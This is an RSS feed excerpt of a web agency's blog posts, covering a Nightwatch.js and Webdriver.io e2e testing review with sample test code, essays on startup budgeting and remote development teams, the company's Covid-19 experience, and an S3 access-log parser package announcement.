<p>As you expected, the score of Nightwatch.js is significantly lower but one of the main reasons for that is the lack of completeness, we couldn&rsquo;t manage to implement all of our base tests. Although it&rsquo;s a full featured project so you don&rsquo;t have to rely only on our rate, give it a try and who knows, it may serve you better than us.</p>
<p>And last, but not least - second in our scoreboard comes the last tool we reviewed above in this article - Webdriver.io. With results in the middle it fully describes our impressions - a really good tool which covered all of our requirements and behaved really well during our tests. What takes it away from the first place is the better test runner and the handy UI which Cypress offers, so nothing bad at all with Webdriver itself. Actually we really liked the Page Object pattern and the way it makes our tests contextually dependent. So we definitely will suggest you to use this tool if you want a bit more speed and the cool UI interface doesn&rsquo;t&nbsp; fool you, the decision is up to you.<br /><br />After all we&rsquo;re glad of the work we&rsquo;ve done... and that we started it at all. Not only that we found a tool for our job but we extended a bit our horizon and gained some experience which is never a superfluous resource. We hope that our results will help you decide and save you some time. At least you can base your own opinion on our experience and the thoughts we shared. That&rsquo;s all from us for now, stay tuned for our future projects and updates.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Did you know that you can save up to 90% on your development project?</title>
                <link>https://mtr-design.com/news/did-you-know-that-you-can-save-up-to-90-on-your-development-project</link>
                <guid>https://mtr-design.com/news/did-you-know-that-you-can-save-up-to-90-on-your-development-project</guid>
                <pubDate>Wed, 23 Sep 2020 12:00:00 +0000</pubDate>
                <dc:creator>Nikolay N</dc:creator>
                <description><![CDATA[<p>It sounds mental, right? Is it possible at all? Well let me explain how you can spend close to nothing on your wonderful idea when it comes to development.</p>]]></description>
                <content:encoded><![CDATA[<p><strong>You can handle this in just two simple steps:</strong></p>
<h2>1. Step one - Concept validation</h2>
<p>During the years we have worked with numerous startups and have met a lot of enthusiastic founders with brilliant ideas who have been ready to invest all their savings on development. Spending on development though should come second. First of all the client needs to validate his concept. It takes time and resources but is a crucial step in the process of creating a working and valuable project. So you should plan carefully and put some cash aside for this first step. Here comes your 5% of the budget.</p>
<p>Let&rsquo;s be honest about it - it is not just the awesome code that brings success to your product. The bright idea does not always turn into a vivid business. There is no greater joy than seeing your product live and kicking long after you&rsquo;ve brought it to life and as a company we have always been more than happy to work with clients who did their planning in advance.</p>
<p>Now after you&rsquo;ve done your planning and validated your concept you can proceed.</p>
<h2>2. Step two - What are the odds of success?</h2>
<p>The digital world is a highly competitive place full of hinders. It&rsquo;s a good idea to see where you&rsquo;re going. Let me cast light on some questions that may occur in the way.</p>
<ol>
<li>Is your product attempting to resolve a problem that is not an important one?</li>
<li>Your product may be of real use for a certain issue but are there other existing products on the market which are free, cheap or better working?</li>
<li>If there are customers willing to pay for your product, is reaching out to them hard or expensive?</li>
</ol>
<p>Answering these questions though will take another 5% of your budget. Use them wisely and do some cheap user research, run a few demand experiments and make your assessments.</p>
<p>If you eventually came to the conclusion that you not only have a smart idea there but also a profitable business and it is worth spending on development then you should make the call and create this brand new cool product.</p>
<p>If the answer to all three questions is &ldquo;Yes&rdquo; then you may be having a not so great idea after all and the second step is a dead end. Maybe you should give up spending the rest of your budget on something that won&rsquo;t live to see another day. A small investment in research and planning can really stop you from spending the other 90% of your money and save you the disappointment.</p>
<p>To cut the long story short - don&rsquo;t underestimate the steps you need to take before calling your developer - this can save you tons of money. And vice versa - if your idea proves to be strong and viable don&rsquo;t hesitate to make the leap and create something new and exciting.&nbsp; Although we won&rsquo;t walk the way instead of you, we at MTR will be more than happy to see you around to build something amazing together.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Why choosing remote development team for your project?</title>
                <link>https://mtr-design.com/news/why-choosing-remote-development-team-for-your-project</link>
                <guid>https://mtr-design.com/news/why-choosing-remote-development-team-for-your-project</guid>
                <pubDate>Thu, 10 Sep 2020 12:00:00 +0000</pubDate>
                <dc:creator>Nikolay N</dc:creator>
                <description><![CDATA[<p>When should companies choose hiring remote developers instead of recruiting an in-house developer group? In which cases is best to outsource? Which option is most flexible and cost-effective?</p>]]></description>
                <content:encoded><![CDATA[<p>One of the main issues when starting a new development project is how to build your team. Generally speaking, there are three main options:</p>
<ol>
<li>Building your in-house development team;</li>
<li>Hiring freelance developers; or</li>
<li>Contracting an external development company.</li>
</ol>
<p>So, when should companies choose hiring remote developers instead of recruiting an in-house developer group? In which cases is best to outsource? Which option is most flexible and cost-effective? It really depends on the project and the company in question. It&rsquo;s up to the management team to consider all the aspects of the project, and decide which approach is the best.</p>
<p>Here we&rsquo;ll discuss briefly the three basic options mentioned above, and share our own experience with building successful remote development teams.</p>
<h2>Building your in-house development team</h2>
<p>It's commonly believed that the first approach has most advantages to it, at least as far as quality is concerned. Building an in-house development team, however, is the most expensive option of all. On the one hand, it requires significant financial resources for the recruitment of a base team of say 3 or 4 programmers and their monthly pay over a relatively long period of time (during which the product will be developed). On the other hand, an in-house developer group also involves certain project management resources from the client (for managing and communicating current tasks with the team). So, the yearly costs for such a team can easily exceed several hundred thousand dollars/pounds/euros.</p>
<p>And apart from being high cost, this approach is also less flexible. In-house developers might have experience in some areas and lack of abilities in others, so companies need more employees to cover all aspects a project might require, which will of course make the project even more costly. Besides, in-house developers usually work on a permanent employment contract, so it&rsquo;s more difficult to instantly terminate the contracts in case of any conflict.</p>
<h2>Hiring freelance developers</h2>
<p>Hiring freelance developers nowadays doesn&rsquo;t seem much different from permanent employment of programmers which typically means 40-hour week, standard working hours, paid annual leave, certain additional payments such as social and health insurance (depending on the applicable laws), etc.</p>
<p>A growing number of companies, from well-established software firms like <a href="https://automattic.com/work-with-us/" target="_blank" rel="noopener noreferrer">Automattic</a> (the creators of the popular software Wordpress), to successful start-ups like <a href="https://www.loom.com/careers" target="_blank" rel="noopener noreferrer">Loom</a> and <a href="https://www.invisionapp.com/about#jobs" target="_blank" rel="noopener noreferrer">Invision</a>, hire people under the slogan &lsquo;Work from everywhere&rsquo;. That said, many companies still limit themselves to hiring employees from certain countries because they prefer abiding by local laws and regulations.</p>
<p>Finding the right freelance programmers for your project might seem like an easy task with specialized marketplace websites where anyone can place an advertisement with the respective requirements for the developers wanted for their project. But hiring the freelancers is only a part of the process. Even if you do have a detailed specification and comprehensive wireframes, you still need a manager with solid technical background to supervise developers&rsquo; work and understand what is everyone doing and why they&rsquo;re doing it this way or another. Sometimes it&rsquo;s really hard to tell a good programmer from a &ldquo;fake&rdquo; one. Some people are very good at presentations and might get you into thinking that they&rsquo;re "rockstar developers", while in fact they&rsquo;re not. In other words, you may lose a lot of time and money in sifting out the quality freelance developers from the mediocre ones.</p>
<p>Hiring quality employees is a real problem in web development and that is why freelance developer platforms like <a href="https://www.toptal.com/" target="_blank" rel="noopener noreferrer">Toptal</a>, <a href="https://gigster.com/" target="_blank" rel="noopener noreferrer">Gigster</a> and <a href="https://youteam.io/" target="_blank" rel="noopener noreferrer">Youteam</a> keep springing up like mushrooms after the rain. These platforms facilitate the recruitment process as freelancers undergo some sort of selection and verification of their professional qualities.</p>
<h2>Contracting an external development company (outsourcing)</h2>
<p>If you choose this option, most problems related to hiring freelance or in-house programmers are solved by themselves. For example:</p>
<ul>
<li><strong>It's less likely to make mistakes when hiring new developers.</strong></li>
</ul>
<p>The cost of hiring a new programmer and the onboarding process can easily reach several thousand euros. And given that in most cases a new staff member becomes a fully functional team member 6 months after he or she was hired, it&rsquo;s easy to calculate that the price for each unsuccessful employment varies in the range of 30 to 50% of his or her annual salary.</p>
<p>Even if all your newly-hired staff members are ok, these people will have to learn how to work as a team. And when you use an outsourcing company, you are supposed to get a fully functional team of professionals who have worked together for a long time.</p>
<ul>
<li><strong>Another advantage of this approach is flexibility - it&rsquo;s relatively easy to increase or reduce the number of the team members. And what you get is not only developers.</strong></li>
</ul>
<p>When starting a new project, most outsourcing web development companies (including MTR Design) usually form a small team of 1 &ndash; 3 programmers, who work full-time on this assignment only. Other experts working part-time are being included in the project where necessary - DevOps engineer, technical project manager, UX designer. Thus, the client pays the agreed price per hour for 2, 3 or 4 people for example, but virtually gets access to all the resources needed. Besides, the core team can grow relatively quickly where necessary.</p>
<ul>
<li><strong>You get the full stack of services that are needed for the entire web development process, including back-end development, front-end development, project management, and more. The outsourcing company can go hand by hand with you or your customers in the entire process to the delivery.</strong></li>
</ul>
<p>Considering what we have listed above regarding outsourcing, we may conclude that this approach guarantees faster and more efficient development process. Now, we are far from thinking that everything always goes smoothly when using an external development company. Actually, the major challenge here is choosing the right contractor company for each project. But we will discuss this issue in a separate article, because it&rsquo;s rather complex and there are various aspects to it.</p>
<h2>Final words</h2>
<p>Building effective web development teams is no easy task, but the good news is that the options for remote work in the IT sphere open up a lot of possibilities for employees and employers alike.</p>
<p>Even before the COVID-19 pandemic messed up the way almost all businesses function it was all too clear that the remote work trend is steadily going up. What is more, offsite work may be on its way to become the new normal.</p>
<p>If you are looking to hire a web developer, there may not be many available in your city or region and willing to move. However, if you broaden your search for a web developer worldwide, the options grow enormously. So why would employers limit themselves to the local labor market, which may be costly or limited anyway, when they can hire a remote developer and even reduce office space costs?</p>
<p>And in regards to employees, the advantages of working remotely are even more obvious. Why lose your time in commuting and traffic jams, when you can work from your home or wherever you please? <br /><br />I am far from thinking that in a few years all or the majority of people will work remotely. There are still companies that are waiting for the government restrictions (imposed to limit the spread of the coronavirus) to be lifted in order to return to their normal existence. But in order to survive and prosper in the long run, every business must get the job done in the most efficient way. And this is most easily achieved when the inhouse people are used most efficiently, and are supplemented when needed with alternative work hires without long term commitment.</p>]]></content:encoded>
            </item>
                    <item>
                <title>On a way to find the perfect e2e testing tool - part 2</title>
                <link>https://mtr-design.com/news/on-a-way-to-find-the-perfect-e2e-testing-tool-part-2</link>
                <guid>https://mtr-design.com/news/on-a-way-to-find-the-perfect-e2e-testing-tool-part-2</guid>
                <pubDate>Wed, 19 Aug 2020 12:00:00 +0000</pubDate>
                <dc:creator>Valentin Kirilov</dc:creator>
                <description><![CDATA[<p>Welcome back to our journey in search of the best JavaScript testing tools. If you missed <a href="/news/on-a-way-to-find-the-perfect-e2e-testing-tool">our previous article</a> go back to catch up what our goal is and to see our review of the <a href="https://www.cypress.io/" target="_blank" rel="noopener noreferrer">Cypress</a> library.</p>]]></description>
                <content:encoded><![CDATA[<p><strong><a href="/news/on-a-way-to-find-the-perfect-e2e-testing-tool">Read part 1 of "On a way to find the perfect e2e testing tool"</a></strong></p>
<p>Our desire is to take a different approach for the testing process of one of our projects. Instead of manually testing the website occasionally we wanted to reduce the possibility for regression issues by building an automated workflow. This way we can ensure that all of the main features are working as expected.. or at least that some of our latest changes are not breaking any existing functionalities. Based on this we decided to use an automatic standalone user journey performed by an e2e testing tool, as part of our build pipeline. And since we want to extend our tech stack we wanted to try something new so we have to identify the perfect test runner by subjecting it to a series of checks which have to be met.</p>
<p>Our requirements list includes the following:</p>
<ul>
<li>easy to learn, clean and descriptive syntax</li>
<li>well detailed documentation and support community</li>
<li>rich abilities to debug and inspect issues</li>
<li>extendable to work with custom UI components (modals, select2, etc.)</li>
<li>as fast and lightweight as possible</li>
</ul>
<p>Up next in our list is <a href="https://nightwatchjs.org/" target="_blank" rel="noopener noreferrer">Nightwatch.js</a>.</p>
<h2>Nightwatch.js</h2>
<p>Nightwatch.js is an integrated, easy to use e2e testing solution for web applications and websites, written in Node.js. It uses the <a href="https://www.w3.org/TR/webdriver/" target="_blank" rel="noopener noreferrer">W3C WebDriver API</a> to drive browsers in order to perform commands and assertions on DOM elements. It comes with simple but powerful syntax which enables you to write tests very quickly, using only JavaScript and CSS or Xpath selectors. Uses a built-in command-line test runner which runs the tests either sequentially or in parallel, with retries and implicit waits. Sounds promising so we decided to give it a try.</p>
<h3>Getting started with Nightwatch.js</h3>
<p><em>Note: The purpose of this article is to review the different testing libraries and provide you some feedback in order to help you choose the right tool for your case. Thus you cannot rely on this article as a tutorial or step-by-step guide, instead you can go and read the <a href="https://webdriver.io/docs/gettingstarted.html" target="_blank" rel="noopener noreferrer">official docs</a>.</em></p>
<p>Our first job is to initialize a new project and set up the required configurations and dependencies. It&rsquo;s a simple process if you already have installed Node.js and npm on your environment. Since there are multiple WebDriver options we&rsquo;ll leave you to choose for yourself so better to follow the official <a href="https://nightwatchjs.org/gettingstarted/installation/" target="_blank" rel="noopener noreferrer">installation guide</a> on your own. Once you&rsquo;re ready with the <a href="https://nightwatchjs.org/gettingstarted/configuration/" target="_blank" rel="noopener noreferrer">configuration</a> of your new test environment we can move on to our first test with Nightwatch.js.</p>
<pre class="language-javascript"><code>module.exports = {
  'Access the Home page': function (browser) {
    browser
      .url(browser.launchUrl)
      .assert.containsText('.description h1', 'Hello world!')
      .end();
  }
};</code></pre>
<p>As promised, the code is clean and descriptive so you shouldn&rsquo;t have any troubles understanding the different actions and their execution order simply by reading the code. Finding elements on a page is by far one of the most common functions during an e2e test and Nightwatch provides several techniques for <a href="https://nightwatchjs.org/api/commands/#elements-headline" target="_blank" rel="noopener noreferrer">locating elements</a> and also an extensible <a href="https://nightwatchjs.org/api/" target="_blank" rel="noopener noreferrer">assertion framework</a> to perform verifications on them. Of course, our first test is really simple so we can move on to see it in action.</p>
<pre>[Guest/Home] Test Suite
=======================
ℹ Connected to localhost on port 4444 (6579ms).
  Using: firefox (77.0.1) on linux 5.3.0-59-generic platform.

Running:  Access the Home page

✔ Testing if element &lt;.description h1=""&gt; contains text 'Hello world!' (179ms)

OK. 1 assertions passed. (3.797s)
<!--.description--><!--.description--><!--.description--><!--.description--><!--.description--><!--.description--><!--.description--><!--.description--><!--.description--><!--.description--></pre>
<p>There are no fancy UI wrappers, just a browser window while the tests are running and a console output with the results after that. Also you can omit the browser popup if you want to include the job in your pipeline, there is a config option to start the runner in headless mode.</p>
<h3>Let&rsquo;s add some real world tests</h3>
<p>We&rsquo;ve got the basics so we can try to add some real world scenarios to the tests suite. One of the most common web page elements are the forms and it&rsquo;s the best start for us (our app depends on multiple webforms with a variety of input elements). For this example we&rsquo;ll use our Sign Up form because of its rich set of input types.</p>
<pre class="language-javascript"><code>'[Sign Up page] should report form errors on submit if provided empty form': function (browser) {
   browser
     .url(browser.launchUrl + '/signup')
     .click('button[type=submit]')
     .assert.visible('.alert.alert-danger');
 
   browser.expect.elements('.alert.alert-danger ul &gt; li').count.to.equal(8);
   browser.expect.element('.alert.alert-danger ul &gt; li:nth-of-type(1)').text.to.contain('The first name field is required.');
   browser.expect.element('.alert.alert-danger ul &gt; li:nth-of-type(2)').text.to.contain('The last name field is required.');
   browser.expect.element('.alert.alert-danger ul &gt; li:nth-of-type(3)').text.to.contain('The company name field is required.');
   // ...
 
   browser.end();
}</code></pre>
<p>First thing to do is to submit an empty form and verify whether the validation is working. In the code snippet above you can see how we interact with the form, by clicking the submit button. Then we use some standard assertions to check the visibility of the alert elements and their messages.</p>
<pre>[Guest/Signup] Test Suite
=========================
ℹ Connected to localhost on port 4444 (6051ms).
  Using: firefox (77.0.1) on linux 5.3.0-59-generic platform.

Running:  [Sign Up page] should report form errors on submit if provided empty form

✔ Testing if element &lt;.alert.alert-danger&gt; is visible (137ms)
✔ Expected elements &lt;.alert.alert-danger ul=""&gt; li&gt; count to equal: "8" (40ms)
✔ Expected element &lt;.alert.alert-danger ul=""&gt; li:nth-of-type(1)&gt; text to contain: "The first name field is required." (60ms)
✔ Expected element &lt;.alert.alert-danger ul=""&gt; li:nth-of-type(2)&gt; text to contain: "The last name field is required." (32ms)
✔ Expected element &lt;.alert.alert-danger ul=""&gt; li:nth-of-type(3)&gt; text to contain: "The company name field is required." (23ms)
✔ Expected element &lt;.alert.alert-danger ul=""&gt; li:nth-of-type(4)&gt; text to contain: "The email field is required." (26ms)
✔ Expected element &lt;.alert.alert-danger ul=""&gt; li:nth-of-type(5)&gt; text to contain: "The phone field is required." (25ms)
✔ Expected element &lt;.alert.alert-danger ul=""&gt; li:nth-of-type(6)&gt; text to contain: "The city field is required." (23ms)
✔ Expected element &lt;.alert.alert-danger ul=""&gt; li:nth-of-type(7)&gt; text to contain: "The state field is required." (28ms)
✔ Expected element &lt;.alert.alert-danger ul=""&gt; li:nth-of-type(8)&gt; text to contain: "The marketing strategies field is required." (30ms)

OK. 10 assertions passed. (7.664s)<!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--><!--.alert.alert-danger--></pre>
<p>Once we run the tests you can see the interactions with your webpage and the complete log of all assertions in the console output. Next up we have to test the valid state of the form, so let&rsquo;s try to fill in some details. We&rsquo;ve got a few basic inputs and a bunch of <a href="https://select2.org/" target="_blank" rel="noopener noreferrer">select2</a> components so it should be a straightforward task, right?</p>
<pre class="language-javascript"><code>'[Sign Up page] should report form errors on submit if provided invalid data': function (browser) {
   browser
     .url(browser.launchUrl + '/signup')
     .setValue('#registration--first-name', faker.name.firstName())
     .setValue('#registration--last-name', faker.name.lastName())
     .setValue('#registration--email', 'invalid-email')
     .click('select[id="registration--state"] option[value="California"]')
     .click('input[type=submit]')
     .assert.visible('.alert.alert-danger');
 
   browser.expect.elements('.alert.alert-danger ul &gt; li').count.to.equal(1);
   browser.expect.element('.alert.alert-danger ul &gt; li:nth-of-type(1)').text.to.contain('The email must be a valid email address.');
 
   browser.end();
 }
</code></pre>
<p>Well, if we want to change the value of the standard HTML elements (input, textarea, select, etc) it&rsquo;s not a problem at all, there are a bunch of <a href="https://nightwatchjs.org/api/commands/#elementinteraction-headline" target="_blank" rel="noopener noreferrer">predefined interceptors</a>. Unfortunately the same is not valid for a bit more complex elements, as it is the select2 box in our case. We couldn&rsquo;t find a way to change the selected value both searching for a solution in the docs and the community forums or by attempting to solve the issue by our own working with the UI. After a few hours of unsuccessful tryouts our disappointment took over and we decided to give up. We stuck so early on a problem that was hard to be resolved so we concluded that maybe this won&rsquo;t be the best tool for us and we have to move on.</p>
<p><em>Note: <a href="https://select2.org/" target="_blank" rel="noopener noreferrer">Select2</a> provides a customizable select box with support for searching, tagging, remote data sets, infinite scrolling, and many other highly used options. We find it really handy and we use it a lot in our project so it&rsquo;s a key point to find a way how to interact within the tests. If you&rsquo;re still not familiar with this library we strongly recommend you to give it a try.</em></p>
<p>Yet, we don&rsquo;t want to put any negative view over Nightwatch.js. It&rsquo;a a well developed tool with great stats (according to Github and NPM) so you shouldn&rsquo;t pass it away, it may serve you better than us. Also there is an <a href="https://nightcloud.io/" target="_blank" rel="noopener noreferrer">official</a> support for cloud integrations so you can automate even more your test environment. If you already have any experience with Nightwatch feel free to share it with us, we would be glad to hear from you. We hope you&rsquo;re still interested in what will be the next tool in our review list so stay tuned for the next chapter of our journey.</p>
<p><strong><a href="/news/on-a-way-to-find-the-perfect-e2e-testing-tool-part-3">Read part 3 of "On a way to find the perfect e2e testing tool"</a></strong></p>]]></content:encoded>
            </item>
                    <item>
                <title>How Covid-19 affected our work</title>
                <link>https://mtr-design.com/news/how-covid-19-affected-our-work</link>
                <guid>https://mtr-design.com/news/how-covid-19-affected-our-work</guid>
                <pubDate>Fri, 17 Jul 2020 12:00:00 +0000</pubDate>
                <dc:creator>Milen N</dc:creator>
                <description><![CDATA[<p>All companies who have survived the Covid-19 blow are now probably evaluating its impact and planning how to move forward in times of uncertainty. Fortunately, we weren&rsquo;t hit that hard by the consequences of the pandemic, however, we faced some problems and had to re-prioritize and reorganize our work. Here is how we at MTR Design handled the situation.</p>]]></description>
                <content:encoded><![CDATA[<h2>How Covid-19 affected the tech industry</h2>
<p>The COVID-19 pandemic is far more than a health crisis: it has a major impact on societies and economies, prompting every business sector to suspend, minimize, or adjust their operations. The tech industry, and web development in particular, is no exception to that.</p>
<p>Generally speaking, the IT industry shouldn&rsquo;t be hit that hard by the pandemic, since most activities are processed digitally, and remote work isn&rsquo;t that much of a problem. However, it&rsquo;s still dependent on the business environment, which is massively affected by Covid-19. And because of the significant disruptions in the supply chain, there are sectors of the tech industry that have taken a significant hit. Others, like e-commerce, online conferencing services, remote working platforms, cashless solutions, etc. experience significant growth.</p>
<h2>The impact on our clients</h2>
<p>As a web development service company, we at MTR Design largely depend on our clients and partners, their overall financial condition and the situation in their business sectors. Fortunately, we&rsquo;re lucky to have a diversified set of customers operating in various spheres and from different countries, so we aren&rsquo;t affected that much by the recession.</p>
<p>We did, however, undergo some changes in several of our projects, and had to reorganize our work a bit. Here are some examples from our professional experience in the times of pandemic, which you may find useful.</p>
<p>One of our partners is a UK-based one-man design shop, who has been working with clients from the restaurant and hotel business for more than 10 years. By mid-May, our client&rsquo;s workload was reduced drastically (almost 100%, according to him), and we witnessed this on several of our mutual projects for restaurant and hotel chains that literally closed in a matter of months.</p>
<p>Another interesting case is that of the biggest Bulgarian theater (the &ldquo;Ivan Vazov&rdquo; National Theater). <a href="/projects/ivan-vazov-national-theatre" target="_blank" rel="noopener noreferrer">We developed and launched its new site six months ago</a>, however the theater had to suspend its operations during lockdown in Bulgaria. Similar was the situation with an Australian client of ours, an education recruitment and management consultancy, whose business went down by 80% in the months during which Covid-19-related restrictions were imposed.</p>
<p>Another partner of ours, a California-based firm with which we&rsquo;ve just started a new SaaS real estate project, underwent a major change in the sales plan as a result of the pandemic. They&rsquo;ve just formed a new sales team, which had to be on-boarded, but this turned out to be impossible, as the offices were closed and the company wasn&rsquo;t ready to let those employees work remotely. Consequently, the marketing of the platform got delayed for two months, and we used this time to develop new functions for the service in question.</p>
<p>Meanwhile, we have other projects that remained unaffected by the Coronavirus crisis. Such an example is a large pharmaceutical company, with which we work as a development extension of one their core technology teams. This isn&rsquo;t surprising though, given that the Covid-19 pandemic probably creates more opportunities for the pharmaceutical industry than it does harm.</p>
<p>Actually, the pandemic did good to some of our projects too. One such an example is <a href="/projects/dizzyjam" target="_blank" rel="noopener noreferrer">Dizzyjam</a> &ndash; print and order on-demand merchandise for the music industry which we created more than 10 years ago. Its sales doubled over the months of lockdown.</p>
<h2>An exemplary case</h2>
<p>We&rsquo;d also like to share the experience of a long-term client of ours - <a href="/projects/newlyn-school-of-art" target="_blank" rel="noopener noreferrer">Newlyn School of Art</a>. As its name suggests, this is an art school in the south west of England (Cornwall) that organizes a wide range of high quality and exciting short art courses in disciplines such as painting, drawing and printmaking. And of course, they were negatively affected by the pandemic &ndash; they had to postpone or cancel all the coursers scheduled during the lockdown in the UK. However, due to the many devoted clients, the school was able to reschedule the courses, instead of refunding the orders. Furthermore, they organized various initiatives to help them overcome the crisis, also engaging the tutors and clients in those events. For example, they initiated fundraising auctions of artworks to support both the school and artists at a time when most art exhibitions have been cancelled. In this way, they fundraised more than &pound;50,000, and the proceeds were fairly split between the school and the artists. So, there are opportunities to be had even in the darkest of times, and the case with Newlyn School of Art appears like perfect crisis management to us.</p>
<h2>Final words and some piece of advice</h2>
<p>All companies who have survived the Covid-19 blow are now probably evaluating its impact and planning how to move forward in times of uncertainty. Generally speaking, businesses across the globe have been pushed to move the majority of their operations online, and to <a href="/news/working-remotely-in-web-development" target="_blank" rel="noopener noreferrer">switch to remote work</a>.</p>
<p>As a company operating 100% remotely for more than 12 years now, we can confirm that a remotely based team can be managed as efficiently as the one in the office. Yet, as many other businesses nowadays, we had to reprioritize our projects and reorganize our work force in order to be more efficient and handle the Covid-19 situation in the best possible way.</p>
<p>As a result of the pandemic, we have a surplus of experienced developers &ndash; employees who were supposed to work on projects that were postponed or cancelled. We use the spare time and resource that we have to develop our own products, as well as to increase our internal expertise by learning and experimenting with new technologies. This makes us more flexible to the changes in the business environment and more adapt to the technological requirements of our partners and clients.</p>
<p>That is to say, no economic sector is immune to COVID-19 and similar force-majeure situations. The important thing is being prepared for them, and taking the right decisions when the time comes. And if we are to come up with some sort of advice to web dev companies, that would be the following:</p>
<ol>
<li>Shift to remote work;</li>
<li>Reprioritize your projects;</li>
<li>Explore new opportunities;</li>
<li>Continue to learn.</li>
</ol>]]></content:encoded>
            </item>
                    <item>
                <title>Introducing our AWS S3 Logs Parser PHP package</title>
                <link>https://mtr-design.com/news/introducing-our-aws-s3-logs-parser-php-package</link>
                <guid>https://mtr-design.com/news/introducing-our-aws-s3-logs-parser-php-package</guid>
                <pubDate>Thu, 09 Jul 2020 12:00:00 +0000</pubDate>
                <dc:creator>Alex K</dc:creator>
                <description><![CDATA[<p>A client of ours wanted to have daily stats about downloads of media files hosted on AWS S3, as well as information about the traffic generated from these downloads. Unfortunately AWS doesn&rsquo;t have a service or an API which could return the information we needed. We had to find another way to solve this case.</p>]]></description>
                <content:encoded><![CDATA[<h2>Overview</h2>
<p>A client of ours - a multinational pharmaceutical corporation with tens of thousands of employees around the world, contracted us to develop a platform for creating, maintaining, and consuming internal podcast channels and episodes. The goal of the project was to allow all the company employees to access and subscribe/download podcasts when connected to the company internal network and using common public podcast apps.</p>
<h2>The project</h2>
<p>The project is built on top of the <a href="https://laravel.com/" target="_blank" rel="noopener noreferrer">Laravel PHP Framework</a> and uses many of the services provided by <a href="https://aws.amazon.com/" target="_blank" rel="noopener noreferrer">Amazon Web Services (AWS)</a>. The library can be managed from the web app which is responsible only for providing the users with the content&rsquo;s source. All audio files used in the podcast&rsquo;s episodes, as well as the podcasts&rsquo; XML feeds, are stored in <a href="https://aws.amazon.com/s3/" target="_blank" rel="noopener noreferrer">AWS Amazon S3</a> and can be used directly from the dedicated S3 buckets (which are also accessible only via the company&rsquo;s internal network).</p>
<h2>The problem</h2>
<p>The client wanted to have daily stats on the episodes downloads and information about the traffic generated by the podcasts subscribers.</p>
<p>When planning the availability of the platform we decided that we should not have the podcasts consumption depend on the web application. We can&rsquo;t afford to interrupt the users&rsquo; streaming process in case the webserver falls down and is temporarily unavailable for some reason. Such server issues should only affect the web application and the content administrators, and not the thousands of the company&rsquo;s members who listen to the podcasts via their client apps.</p>
<p>Additionally we wanted to keep the architecture of the project as clean as possible so we wouldn&rsquo;t have to plan any auto-scaling features in the near future in case of consumption increase. In order to solve these issues we decided to use Amazon S3 directly as a content source because we didn&rsquo;t want to rely on a proxy script to serve the audio files.</p>
<p>However, after reviewing what stats we can get from AWS S3 we found out that unfortunately AWS doesn&rsquo;t have a service or an API which could return the information we needed. We had to find another way to solve this case.</p>
<h2>The solution</h2>
<p>AWS Amazon S3 has an option to activate <a href="https://docs.aws.amazon.com/AmazonS3/latest/dev/ServerLogs.html" target="_blank" rel="noopener noreferrer">Amazon S3 Server Access Logging</a>. It provides detailed records of the requests made to a bucket. Each access log record provides <a href="https://docs.aws.amazon.com/AmazonS3/latest/dev/LogFormat.html" target="_blank" rel="noopener noreferrer">details about every single access request</a>, such as the requester, bucket name, request time, request action, response status and an error code, if relevant. By default, logging is disabled. When it is enabled, logs are saved to a bucket in the same AWS Region as the source bucket. Well, sounds like all of the information we need, but in raw format.</p>
<p><a href="https://github.com/mtrdesign/s3-logs-parser" target="_blank" rel="noopener noreferrer">We built an open source PHP package</a> to parse Amazon S3 access logs into a readable JSON format. It can be integrated in any PHP platform (Laravel, Symfony, Drupal and so on) <a href="https://packagist.org/packages/mtrdesign/s3-logs-parser" target="_blank" rel="noopener noreferrer">via composer</a>. S3 Logs Parser gets the total number of downloads and the transferred bytes for every bucket's file per day. You can easily collect this information daily with a cron job and store it in your local database to see bucket's files usage. The setup of the parser is easy and straightforward so here is a step-by-step integration guide.</p>
